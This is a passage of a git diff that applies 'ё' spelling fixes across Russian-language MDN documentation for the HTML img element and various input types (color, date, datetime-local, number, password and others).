значения:</p> + <p>Этот атрибут указывает, следует ли использовать {{glossary("CORS")}} при загрузке изображения или нет. <a href="/en-US/docs/Web/HTML/CORS_enabled_image">Изображения с включённой поддержкой CORS</a> могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не будучи "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорченными</a>". Допустимые значения:</p> <ul> <li><code>anonymous</code>: Запрос cross-origin (т.е. с HTTP-заголовком {{httpheader("Origin")}}) выполняется, но параметры доступа не передаются (т.е. нет {{glossary("cookie")}}, не используется <a class="external" href="https://tools.ietf.org/html/rfc5280">стандарт X.509</a> или базовая HTTP-аутентификация). Если сервер не предоставляет параметры доступа исходному сайту (не устанавливая HTTP-заголовок {{httpheader("Access-Control-Allow-Origin")}}), изображение будет "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорчено</a>" и его использование будет ограничено;</li> @@ -150,7 +150,7 @@ translation_of: Web/HTML/Element/img <p>Это атрибут логического типа, указывающий, что изображение является частью серверной карты ссылок. Если это так, то точные координаты клика отправляются на сервер.</p> <div class="note"> - <p><strong>Заметка:</strong> Этот атрибут разрешен, только если элемент <code><img></code> является потомком элемента {{htmlelement("a")}} с валидным (соответствующий требованиям) атрибутом {{htmlattrxref("href","a")}}.</p> + <p><strong>Заметка:</strong> Этот атрибут разрешён, только если элемент <code><img></code> является потомком элемента {{htmlelement("a")}} с валидным (соответствующий требованиям) атрибутом {{htmlattrxref("href","a")}}.</p> </div> </dd> <dt>{{htmlattrdef("referrerpolicy")}} {{experimental_inline}}</dt> @@ -161,16 +161,16 @@ translation_of: Web/HTML/Element/img <li><code>no-referrer</code>: Заголовок {{httpheader("Referer")}} не будет отправлен;</li> <li><code>no-referrer-when-downgrade</code>: Заголовок {{httpheader("Referer")}} не отправляется, когда происходит переход к источнику без {{glossary("TLS")}} ({{glossary("HTTPS")}}). Это поведение по умолчанию для {{glossary("user agent", "пользовательских агентов")}}, если не указано иное;</li> <li><code>origin</code>: Заголовок {{httpheader("Referer")}} будет содержать схему адресации ресурса (HTTP, HTTPS, {{glossary("FTP")}} и т.д), {{glossary("host", "хост")}} и {{glossary("port", "порт")}};</li> - <li><code>origin-when-cross-origin</code>: Переход на другие источники ограничит включенные реферальные данные схемой адресации ресурса, {{glossary("host", "хостом")}} и {{glossary("port", "портом")}}, в то время как переход из того же источника будет включать полный путь реферала;</li> - <li><code>unsafe-url</code>: Заголовок {{httpheader("Referer")}} будет включать источник и путь, но не фрагмент {{glossary("URL")}}, пароль или имя пользователя. Этот метод небезопасен, потому что будет утечка источников и путей от ресурсов, защищенных {{glossary("TLS")}}, к незащищенным источникам.</li> + <li><code>origin-when-cross-origin</code>: Переход на другие источники ограничит включённые реферальные данные схемой адресации ресурса, {{glossary("host", "хостом")}} и {{glossary("port", "портом")}}, в то время как переход из того же источника будет включать полный путь реферала;</li> + <li><code>unsafe-url</code>: Заголовок {{httpheader("Referer")}} будет включать источник и путь, но не фрагмент {{glossary("URL")}}, пароль или имя пользователя. Этот метод небезопасен, потому что будет утечка источников и путей от ресурсов, защищённых {{glossary("TLS")}}, к незащищённым источникам.</li> </ul> </dd> <dt>{{htmlattrdef("sizes")}}</dt> <dd> - <p>Список из одного или нескольких строк, разделенных запятыми, указывающих набор размеров источника. Каждый размер источника состоит из:</p> + <p>Список из одного или нескольких строк, разделённых запятыми, указывающих набор размеров источника. Каждый размер источника состоит из:</p> <ol> - <li>Условия меда-запроса. Оно должно быть пропущено для последнего элемента.</li> + <li>Условия мёда-запроса. Оно должно быть пропущено для последнего элемента.</li> <li>Значения размера источника.</li> </ol> @@ -180,13 +180,13 @@ translation_of: Web/HTML/Element/img <dd>{{glossary("URL")}} изображения. Этот атрибут является обязательным для элемента <code><img></code>. В браузерах, поддерживающих <code>srcset</code>, <code>src</code> обрабатывается как изображение-кандидат с дескриптором плотности пикселей <code>1x</code>, если только изображение с этим дескриптором уже не определено в <code>srcset</code> или если <code>srcset</code> не содержит дескрипторы '<code>w</code>'.</dd> <dt>{{htmlattrdef("srcset")}}</dt> <dd> - <p>Список из одной или нескольких строк, разделенных запятыми, указывающих набор возможным источников изображения для использования {{glossary("user agent", "пользовательскими агентами")}}. Каждая строка состоит из:</p> + <p>Список из одной или нескольких строк, разделённых запятыми, указывающих набор возможным источников изображения для использования {{glossary("user agent", "пользовательскими агентами")}}. Каждая строка состоит из:</p> <ol> <li>{{glossary("URL")}} изображения.</li> <li>Необязательного, пробела, сопровождаемого: <ul> - <li>дескриптором ширины или положительным целым числом, за которым сразу же следует '<code>w</code>'. Дескриптор ширины делится на размер источника, полученный из атрибута <code>sizes</code>, для расчета эффективной плотности пикселей;</li> + <li>дескриптором ширины или положительным целым числом, за которым сразу же следует '<code>w</code>'. Дескриптор ширины делится на размер источника, полученный из атрибута <code>sizes</code>, для расчёта эффективной плотности пикселей;</li> <li>дескриптором плотности пикселей, который является положительным числом с плавающей точкой за которым сразу же следует '<code>x</code>'.</li> </ul> </li> @@ -196,7 +196,7 @@ translation_of: Web/HTML/Element/img <p>Нельзя смешивать дескрипторы ширины с дескрипторами плотности пикселей в одном атрибуте <code>srcset</code>. Повторение дескрипторов (например, два источника в одном <code>srcset</code> с одинаковым дескриптором '<code>2x</code>') так же является недопустимым.</p> - <p>{{glossary("user agent", "Пользовательские агенты")}} выбирают любой из доступных источников на свое усмотрение. Это предоставляет им значительную свободу действий для адаптации их выбора на основе таких вещей, как предпочтения пользователя или {{glossary("bandwidth", "пропускная способность")}}. Смотрите наше руководство "<a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Адаптивные изображения</a>" для примера.</p> + <p>{{glossary("user agent", "Пользовательские агенты")}} выбирают любой из доступных источников на своё усмотрение. Это предоставляет им значительную свободу действий для адаптации их выбора на основе таких вещей, как предпочтения пользователя или {{glossary("bandwidth", "пропускная способность")}}. Смотрите наше руководство "<a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Адаптивные изображения</a>" для примера.</p> </dd> <dt>{{htmlattrdef("width")}}</dt> <dd>Внутренняя ширина (см. {{glossary("intrinsic size", "Внутренний размер")}}) изображения в пикселях.</dd> @@ -234,7 +234,7 @@ translation_of: Web/HTML/Element/img <p>Ссылка на более подробное описание изображения. Возможными значениями являются {{glossary("URL")}} или {{htmlattrxref("id")}} элемента.</p> <div class="note"> - <p><strong>Заметка:</strong> Этот атрибут упомянут в последней версии от {{glossary("W3C")}}, <a class="external" href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a>, но был удален из <a class="external" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">живого стандарта HTML</a> от {{glossary("WHATWG")}}. У него неопределенное будущее; авторы должны использовать альтернативы {{glossary("WAI")}}-{{glossary("ARIA")}}, такие как <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a> или <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-details">aria-details</a>.</p> + <p><strong>Заметка:</strong> Этот атрибут упомянут в последней версии от {{glossary("W3C")}}, <a class="external" href="https://www.w3.org/TR/html52/obsolete.html#element-attrdef-img-longdesc">HTML 5.2</a>, но был удалён из <a class="external" href="https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element">живого стандарта HTML</a> от {{glossary("WHATWG")}}. У него неопределённое будущее; авторы должны использовать альтернативы {{glossary("WAI")}}-{{glossary("ARIA")}}, такие как <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-describedby">aria-describedby</a> или <a class="external" href="https://www.w3.org/TR/wai-aria-1.1/#aria-details">aria-details</a>.</p> </div> </dd> <dt>{{htmlattrdef("name")}} {{Obsolete_Inline}}</dt> @@ -306,7 +306,7 @@ translation_of: Web/HTML/Element/img <h3 id="Создание_значимых_альтернативных_описаний">Создание значимых альтернативных описаний</h3> -<p>Значение атрибута <code>alt</code> должно четко и кратко описывать содержимое изображения. Он не должен описывать наличие самого изображения или название файла изображения. Если атрибут <code>alt</code> намеренно пропущен, потому что изображение не имеет текстового эквивалента, рассмотрите альтернативные способы представления содержимого, которое изображение пытается передать.</p> +<p>Значение атрибута <code>alt</code> должно чётко и кратко описывать содержимое изображения. Он не должен описывать наличие самого изображения или название файла изображения. Если атрибут <code>alt</code> намеренно пропущен, потому что изображение не имеет текстового эквивалента, рассмотрите альтернативные способы представления содержимого, которое изображение пытается передать.</p> <h4 id="Плохо">Плохо</h4> diff --git a/files/ru/web/html/element/index.html b/files/ru/web/html/element/index.html index 2fe4bfa7e7..2e960c4e4e 100644 --- a/files/ru/web/html/element/index.html +++ b/files/ru/web/html/element/index.html @@ -33,7 +33,7 @@ translation_of: Web/HTML/Element <h2 id="Текстовое_содержание" style="line-height: 30px; font-size: 2.14285714285714rem;"><span class="short_text" id="result_box" lang="ru"><span class="hps">Текстовое содержание</span></span></h2> <div id="gt-src-tools"> -<div id="tts_button"><span id="result_box" lang="ru"><span class="hps">Используйте</span> текстовые <span class="hps">элементы</span> <span class="hps">HTML для</span> <span class="hps">организации</span> <span class="hps">блоков</span> <span class="hps">или разделов</span> <span class="hps">содержания</span><span>, размещенные</span> <span class="hps">между тегами открытия</span> <span class="atn hps"><</span><span>body></span> <span class="hps">и закрытия</span> <span class="atn hps"><</span><span>/</span><span>body></span><span>.</span> <span class="hps">Важное значение для</span> <span class="atn hps">{{Glossary("accessibility")}}</span> <span class="hps">и</span> <span class="atn hps">{{Glossary("SEO")}}</span><span>,</span><span class="hps"> чтобы эти элементы</span><span class="hps"> определили</span> <span class="hps">цель или</span> <span class="hps">структуру</span> <span class="hps">этого контента</span><span>.</span></span></div> +<div id="tts_button"><span id="result_box" lang="ru"><span class="hps">Используйте</span> текстовые <span class="hps">элементы</span> <span class="hps">HTML для</span> <span class="hps">организации</span> <span class="hps">блоков</span> <span class="hps">или разделов</span> <span class="hps">содержания</span><span>, размещённые</span> <span class="hps">между тегами открытия</span> <span class="atn hps"><</span><span>body></span> <span class="hps">и закрытия</span> <span class="atn hps"><</span><span>/</span><span>body></span><span>.</span> <span class="hps">Важное значение для</span> <span class="atn hps">{{Glossary("accessibility")}}</span> <span class="hps">и</span> <span class="atn hps">{{Glossary("SEO")}}</span><span>,</span><span class="hps"> чтобы эти элементы</span><span class="hps"> определили</span> <span class="hps">цель или</span> <span class="hps">структуру</span> <span class="hps">этого контента</span><span>.</span></span></div> <div> </div> </div> diff --git a/files/ru/web/html/element/input/button/index.html b/files/ru/web/html/element/input/button/index.html index 984fa13988..cd540ba599 100644 --- a/files/ru/web/html/element/input/button/index.html +++ b/files/ru/web/html/element/input/button/index.html @@ -68,7 +68,7 @@ translation_of: Web/HTML/Element/input/button <h3 id="Простая_кнопка">Простая кнопка</h3> -<p>Мы начнем с создания простой кнопки с обработчиком события {{event("click")}} , который запускает наш компьютер (ну, он переключает <code>value</code> кнопки и текстовое содержимое следующего абзаца):</p> +<p>Мы начнём с создания простой кнопки с обработчиком события {{event("click")}} , который запускает наш компьютер (ну, он переключает <code>value</code> кнопки и текстовое содержимое следующего абзаца):</p> <pre class="brush: html"><form> <input type="button" value="Запустить ПК"> diff --git a/files/ru/web/html/element/input/color/index.html b/files/ru/web/html/element/input/color/index.html index 0dcdf05619..8a27bf8d8b 100644 --- a/files/ru/web/html/element/input/color/index.html +++ b/files/ru/web/html/element/input/color/index.html @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/input/color --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>color</code></strong> предоставляют элемент пользовательского интерфейса, который позволяет пользователю указать цвет либо с помощью визуального интерфейса выбора цвета, либо путем ввода цвета в текстовое поле в шестнадцатеричном формате #rrggbb. Разрешены только простые цвета (без альфа-канала), хотя CSS colors имеет больше форматов, например названия цветов, функциональные обозначения и шестнадцатеричный формат с альфа-каналом.</span></p> +<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>color</code></strong> предоставляют элемент пользовательского интерфейса, который позволяет пользователю указать цвет либо с помощью визуального интерфейса выбора цвета, либо путём ввода цвета в текстовое поле в шестнадцатеричном формате #rrggbb. Разрешены только простые цвета (без альфа-канала), хотя CSS colors имеет больше форматов, например названия цветов, функциональные обозначения и шестнадцатеричный формат с альфа-каналом.</span></p> <p>Представление элемента может существенно отличаться от одного браузера и/или платформы к другой — это может быть простой текстовый ввод, который автоматически проверяет правильность ввода информации о цвете в соответствующем формате, или стандартный для платформы выбор цвета, или какое-то пользовательское окно выбора цвета.</p> @@ -51,10 +51,10 @@ translation_of: Web/HTML/Element/input/color <h2 id="Value">Value</h2> -<p>{{Htmlattrxref ("value","input")}} элемента {{HTMLElement ("input")}} типа <code>color</code> всегда является {{domxref ("DOMString")}}, который содержит 7-символьную строку, задающую цвет RGB в шестнадцатеричном формате. Хотя вы можете ввести цвет в верхнем или нижнем регистре, он будет сохранен в виде нижнего регистра. Value никогда не бывает в какой-либо другой форме и никогда не бывает пустым.</p> +<p>{{Htmlattrxref ("value","input")}} элемента {{HTMLElement ("input")}} типа <code>color</code> всегда является {{domxref ("DOMString")}}, который содержит 7-символьную строку, задающую цвет RGB в шестнадцатеричном формате. Хотя вы можете ввести цвет в верхнем или нижнем регистре, он будет сохранён в виде нижнего регистра. Value никогда не бывает в какой-либо другой форме и никогда не бывает пустым.</p> <div class="note"> -<p><strong>Примечание:</strong> установка значения на всё, что не является допустимым, полностью непрозрачным цветом RGB в шестнадцатеричной системе счисления, приведет к тому, что значение будет установлено на #000000. В частности, вы не можете использовать стандартные имена цветов CSS или любой синтаксис функций CSS для установки значения. Это имеет смысл, если иметь в виду, что HTML и CSS-это отдельные языки и спецификации. Кроме того, цвета с альфа-каналом не поддерживаются; указание цвета в 9-символьной шестнадцатеричной системе счисления (например, #009900aa) также приведет к тому, что цвет будет установлен на #000000.</p> +<p><strong>Примечание:</strong> установка значения на всё, что не является допустимым, полностью непрозрачным цветом RGB в шестнадцатеричной системе счисления, приведёт к тому, что значение будет установлено на #000000. В частности, вы не можете использовать стандартные имена цветов CSS или любой синтаксис функций CSS для установки значения. Это имеет смысл, если иметь в виду, что HTML и CSS-это отдельные языки и спецификации. Кроме того, цвета с альфа-каналом не поддерживаются; указание цвета в 9-символьной шестнадцатеричной системе счисления (например, #009900aa) также приведёт к тому, что цвет будет установлен на #000000.</p> </div> <h2 id="Использование_настроек_цвета">Использование настроек цвета</h2> @@ -69,7 +69,7 @@ translation_of: Web/HTML/Element/input/color <p>{{EmbedLiveSample("Providing_a_default_color", 700, 30)}}</p> -<p>Если вы не зададите значение, то по умолчанию будет <code>#000000</code>, то есть черный цвет. Значение должно быть в семизначной шестнадцатеричной системе счисления, то есть символ"#", за которым следуют две цифры, каждая из которых представляет красный, зеленый и синий цвета, например: #rrggbb. Если у вас есть цвета в любом другом формате (например, имена цветов CSS или цветовые функции CSS, такие как rgb () или rgba ()), вам придется преобразовать их в шестнадцатеричные перед установкой значения.</p> +<p>Если вы не зададите значение, то по умолчанию будет <code>#000000</code>, то есть чёрный цвет. Значение должно быть в семизначной шестнадцатеричной системе счисления, то есть символ"#", за которым следуют две цифры, каждая из которых представляет красный, зелёный и синий цвета, например: #rrggbb. Если у вас есть цвета в любом другом формате (например, имена цветов CSS или цветовые функции CSS, такие как rgb () или rgba ()), вам придётся преобразовать их в шестнадцатеричные перед установкой значения.</p> <h3 id="Отслеживание_изменений_цвета">Отслеживание изменений цвета</h3> @@ -109,7 +109,7 @@ function watchColorPicker(event) { <h2 id="Пример">Пример</h2> -<p>Давайте создадим пример, который делает немного больше с цветом входного сигнала путем отслеживания {{domxref("HTMLElement/change_event", "change")}} и {{domxref("HTMLElement/input_event", "input")}} событий, чтобы взять новый цвет и применить его к каждому {{HTMLElement("Р")}} элемента в документе.</p> +<p>Давайте создадим пример, который делает немного больше с цветом входного сигнала путём отслеживания {{domxref("HTMLElement/change_event", "change")}} и {{domxref("HTMLElement/input_event", "input")}} событий, чтобы взять новый цвет и применить его к каждому {{HTMLElement("Р")}} элемента в документе.</p> <h3 id="HTML">HTML</h3> diff --git a/files/ru/web/html/element/input/date/index.html b/files/ru/web/html/element/input/date/index.html index c69a1eba71..b743e3bd44 100644 --- a/files/ru/web/html/element/input/date/index.html +++ b/files/ru/web/html/element/input/date/index.html @@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/input/date <h2 id="Значение">Значение</h2> -<p>Возвращает {{domxref("DOMString")}}, представляющий значение даты введенной в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:</p> +<p>Возвращает {{domxref("DOMString")}}, представляющий значение даты введённой в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:</p> <pre class="brush: html notranslate"><input id="date" type="date" value="2017-06-01"></pre> @@ -123,7 +123,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti <h2 id="Использование_полей_ввода_c_типом_date">Использование полей ввода c типом date</h2> -<p>На первый взгляд, элемент <code><input type="date"></code> выглядит заманчиво — он предоставляет легкий графический интерфейс для выбора даты, нормализует формат даты, отправляемой на сервер независимо от локальных настроек пользователя. Тем не менее, есть проблемы с <code><input type="date"></code> в связи с ограниченной поддержкой браузеров.</p> +<p>На первый взгляд, элемент <code><input type="date"></code> выглядит заманчиво — он предоставляет лёгкий графический интерфейс для выбора даты, нормализует формат даты, отправляемой на сервер независимо от локальных настроек пользователя. Тем не менее, есть проблемы с <code><input type="date"></code> в связи с ограниченной поддержкой браузеров.</p> <p>В этом разделе мы посмотрим на простые, а затем и более сложные способы использования <code><input type="date"></code>, и позже дадим советы по уменьшению влияния поддержки браузерами (смотрите {{anch("Handling browser support")}}).</p> diff --git a/files/ru/web/html/element/input/datetime-local/index.html b/files/ru/web/html/element/input/datetime-local/index.html index 63ad6800fc..7a5f83d340 100644 --- a/files/ru/web/html/element/input/datetime-local/index.html +++ b/files/ru/web/html/element/input/datetime-local/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/datetime-local --- <p>{{HTMLRef}}</p> -<p>{{htmlelement("input")}} элемент типа <strong><code>datetime-local</code></strong> создает поля ввода, позволяющие легко ввести дату и время — год, месяц, день, часы и минуты.</p> +<p>{{htmlelement("input")}} элемент типа <strong><code>datetime-local</code></strong> создаёт поля ввода, позволяющие легко ввести дату и время — год, месяц, день, часы и минуты.</p> <p>Интерфейс управления варьируется от браузера к браузеру, на данный момент поддержка носит фрагментарный характер, только с Chrome/Opera и EDGE на рабочем столе — и большинство современных мобильных версиях браузера — наличие полезной реализации. В других браузерах элемент управления сводиться до простого <code><a href="/en-US/docs/Web/HTML/Element/input/text"><input type="text"></a></code>.</p> @@ -19,7 +19,7 @@ translation_of: Web/HTML/Element/input/datetime-local <p><img alt="" src="https://mdn.mozillademos.org/files/14949/datetime-local-chrome.png" style="display: block; height: 224px; margin: 0px auto; width: 280px;"></p> -<p>В Edge <code>datetime-local</code> элемент управления выглядит как на скриншоте ниже. Клик на дате и времени отобразит два отдельных поля выбора, чтобы Вы могли легко установить дату и время. То есть, по сути, получаем два элемента <code>date</code> и <code>time</code>, объединенных в один:</p> +<p>В Edge <code>datetime-local</code> элемент управления выглядит как на скриншоте ниже. Клик на дате и времени отобразит два отдельных поля выбора, чтобы Вы могли легко установить дату и время. То есть, по сути, получаем два элемента <code>date</code> и <code>time</code>, объединённых в один:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14953/datetime-local-picker-edge1.png" style="display: block; height: 398px; margin: 0px auto; width: 320px;"></p> @@ -52,14 +52,14 @@ translation_of: Web/HTML/Element/input/datetime-local <h2 id="Значение">Значение</h2> -<p> {{domxref("DOMString")}} представление значения даты, введенной во входные данные. Вы можете установить значение по умолчанию для ввода, включая дату внутри {{htmlattrxref("value", "input")}} атрибута, как:</p> +<p> {{domxref("DOMString")}} представление значения даты, введённой во входные данные. Вы можете установить значение по умолчанию для ввода, включая дату внутри {{htmlattrxref("value", "input")}} атрибута, как:</p> <pre class="brush: html"><label for="party">Enter a date and time for your party booking:</label> <input id="party" type="datetime-local" name="partydate" value="2017-06-01T08:30"></pre> <p>{{ EmbedLiveSample('Value', 600, 60) }}</p> -<p>Одна вещь, чтобы отметить, что отображаемый формат даты отличается от фактического <code>значения</code> — отображаемый формат даты будет выбран на основе установленного языкового стандарта операционной системы пользователя, в то время как дата<code>значение</code> всегда форматируется <code>yyyy-MM-ddThh:mm</code>. Когда значение передается на сервер, например, это будет выглядеть <code>partydate=2017-06-01T08:30</code>.</p> +<p>Одна вещь, чтобы отметить, что отображаемый формат даты отличается от фактического <code>значения</code> — отображаемый формат даты будет выбран на основе установленного языкового стандарта операционной системы пользователя, в то время как дата<code>значение</code> всегда форматируется <code>yyyy-MM-ddThh:mm</code>. Когда значение передаётся на сервер, например, это будет выглядеть <code>partydate=2017-06-01T08:30</code>.</p> <div class="note"> <p><strong>Примечание</strong>: также имейте в виду, что если такие данные поступают через http-запрос Get, двоеточие нужно экранировать для включения в параметры URL, например <code>partydate=2017-06-01T08%3A30</code>.</p> diff --git a/files/ru/web/html/element/input/image/index.html b/files/ru/web/html/element/input/image/index.html index 08b69b943a..d0045be0cd 100644 --- a/files/ru/web/html/element/input/image/index.html +++ b/files/ru/web/html/element/input/image/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/input/image <table class="properties"> <tbody> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Нету, это пустой элемент.</td> </tr> <tr> @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/input/image <td>Обязательно должен быть открывающийся тег, и обязательно отсутствует закрывающий.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, которому доступен фразообразующий контент (<a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>).</td> </tr> <tr> diff --git a/files/ru/web/html/element/input/index.html b/files/ru/web/html/element/input/index.html index c949910b8d..d868c942c6 100644 --- a/files/ru/web/html/element/input/index.html +++ b/files/ru/web/html/element/input/index.html @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/input <dt>{{htmlattrdef("type")}}</dt> <dd>Тип элемента для отображения. Если этот атрибут не указан, по умолчанию используется <code>text</code>. Возможными значениями являются: <ul> - <li><code>button</code>: Кнопка без предопределенного поведения.</li> + <li><code>button</code>: Кнопка без предопределённого поведения.</li> <li><code>checkbox</code>: Флажок («чекбокс»). Следует использовать атрибут <strong>value </strong>для определения значения, которое будет отдано этим элементом. Используйте атрибут <strong>checked</strong>, чтобы указать, должен ли флажок быть выставлен. Можно также использовать атрибут <strong>indeterminate</strong>, чтобы указать, что флажок находится в неопределённом состоянии (на большинстве платформ при этом рисуется горизонтальная линия поперёк флажка).</li> <li><code>color</code>: {{HTMLVersionInline("5")}} Элемент управления цветом. Пользовательский интерфейс выбора цвета не имеет никаких других функций, кроме принятия простых цветов в виде текста (<a href="http://www.w3.org/TR/html5/forms.html#color-state-(type=color)">больше информации</a>).</li> <li><code>date</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода даты (год, месяц и день, без времени).</li> @@ -40,11 +40,11 @@ translation_of: Web/HTML/Element/input <li><code>datetime-local</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода даты и времени без часового пояса.</li> <li><code>email</code>: {{HTMLVersionInline("5")}} Поле для редактирования адреса электронной почты. Перед отправкой проверяется, что входное значение содержит либо пустую строку, либо один действительный адрес электронной почты. Соответствуют CSS псевдоклассам {{cssxref(":valid")}} and {{cssxref(":invalid")}}.</li> <li><code>file</code>: Элемент управления, который позволяет пользователю выбрать файл. Используйте атрибут <strong>accept</strong>, чтобы определить типы файлов, которые могут быть выбраны.</li> - <li><code>hidden</code>: Элемент управления, которые не отображается, но чье значение отправлено на сервер.</li> + <li><code>hidden</code>: Элемент управления, которые не отображается, но чьё значение отправлено на сервер.</li> <li><code>image</code>: Кнопка вставки изображения. Вы должны использовать атрибут <strong>src</strong>, чтобы определить путь к изображению и атрибут <strong>alt</strong> - для определения альтернативного текста. Вы можете использовать атрибуты <strong>height</strong> и <strong>width</strong>, чтобы определить размер вставки изображения в пикселях.</li> <li><code>month</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода месяца и года без часового пояса.</li> <li><code>number</code>: {{HTMLVersionInline("5")}} Элемент управления ввода числа(тип <strong>float</strong>).</li> - <li><code>password</code>: Однострочное текстовое поле, чье значение скрыто символом "звездочка". Используйте атрибуты <strong>minlength</strong> и <strong>maxlength</strong>, чтобы указать минимальную и максимальную длину значения, которое может быть введено. + <li><code>password</code>: Однострочное текстовое поле, чьё значение скрыто символом "звёздочка". Используйте атрибуты <strong>minlength</strong> и <strong>maxlength</strong>, чтобы указать минимальную и максимальную длину значения, которое может быть введено. <div class="blockIndicator note">Любые формы, в которых присутствует важная информация(например, пароль), должны быть обработаны через HTTPS; в настоящий момент Firefox реализует составной механизм предупреждения, направленные против небезопасных форм для входа в систему - смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Insecure_passwords">Небезопасные пароли</a>.</div> </li> <li><code>radio</code>: Кнопка-переключатель, позволяет выбрать одно значение из множественного выбора.</li> @@ -63,12 +63,12 @@ translation_of: Web/HTML/Element/input Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости..</li> <li><code>text</code>: Однострочное текстовое поле. Переносы строк автоматически удаляются из входного значения.</li> <li><code>time</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода значения времени без часового пояса.</li> - <li><code>url</code>: {{HTMLVersionInline("5")}} Поле для редактирования URI. Введенное значение должно содержать либо пустую строку, либо допустимый абсолютный URL. В противном случае значение не будет принято. Переводы строк, лидирующие и завершающие пробельные символы будут автоматически удалены из введенного значения. Можно использовать такие атрибуты как <strong>pattern</strong> или <strong>maxlength</strong>, чтобы ограничить вводимые значения. Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости.</li> + <li><code>url</code>: {{HTMLVersionInline("5")}} Поле для редактирования URI. Введённое значение должно содержать либо пустую строку, либо допустимый абсолютный URL. В противном случае значение не будет принято. Переводы строк, лидирующие и завершающие пробельные символы будут автоматически удалены из введённого значения. Можно использовать такие атрибуты как <strong>pattern</strong> или <strong>maxlength</strong>, чтобы ограничить вводимые значения. Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости.</li> <li><code>week</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода даты, содержащей число неделя-год и номер недели без часового пояса.</li> </ul> </dd> <dt>{{htmlattrdef("accept")}}</dt> - <dd>В случае, если значением атрибута <strong>type</strong> является <code>file</code>, данный атрибут определяет типы файлов, которые сервер может принять. В противном случае файл игнорируется. Значение должно быть списком уникальных спецификаторов типов содержания, разделенным запятыми:</dd> + <dd>В случае, если значением атрибута <strong>type</strong> является <code>file</code>, данный атрибут определяет типы файлов, которые сервер может принять. В противном случае файл игнорируется. Значение должно быть списком уникальных спецификаторов типов содержания, разделённым запятыми:</dd> <dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt> <dd>Одиночный символ, который пользователь может нажать, чтобы переключить фокус на элемент управления.</dd> <dt>{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</dt> @@ -143,7 +143,7 @@ translation_of: Web/HTML/Element/input </ul> </dd> <dt>{{htmlattrdef("list")}} {{HTMLVersionInline("5")}}</dt> - <dd>В атрибуте указывает <code>id</code> элемента {{HTMLElement("datalist")}}, в котором находится список предопределенных значений для заполнения. Браузер отображает только те варианты, которые соответствуют введенным символами. Этот атрибут игнорируется, когда атрибут <strong>type</strong> принимает значения <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, или <strong>type</strong> в качестве кнопки.</dd> + <dd>В атрибуте указывает <code>id</code> элемента {{HTMLElement("datalist")}}, в котором находится список предопределённых значений для заполнения. Браузер отображает только те варианты, которые соответствуют введённым символами. Этот атрибут игнорируется, когда атрибут <strong>type</strong> принимает значения <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, или <strong>type</strong> в качестве кнопки.</dd> <dt>{{htmlattrdef("max")}} {{HTMLVersionInline("5")}}</dt> <dd>The maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</dd> <dt>{{htmlattrdef("maxlength")}}</dt> diff --git a/files/ru/web/html/element/input/number/index.html b/files/ru/web/html/element/input/number/index.html index 0ee9046649..b9f77cd132 100644 --- a/files/ru/web/html/element/input/number/index.html +++ b/files/ru/web/html/element/input/number/index.html @@ -40,7 +40,7 @@ translation_of: Web/HTML/Element/input/number <h2 id="Value">Value</h2> -<p>{{jsxref("Number")}}, представляющий значение введенного числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:</p> +<p>{{jsxref("Number")}}, представляющий значение введённого числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:</p> <pre class="brush: html notranslate"><input id="number" type="number" value="42"></pre> diff --git a/files/ru/web/html/element/input/password/index.html b/files/ru/web/html/element/input/password/index.html index e745967864..b76c628f81 100644 --- a/files/ru/web/html/element/input/password/index.html +++ b/files/ru/web/html/element/input/password/index.html @@ -11,9 +11,9 @@ translation_of: Web/HTML/Element/input/password --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>"password"</code></strong> предоставляют пользователю возможность 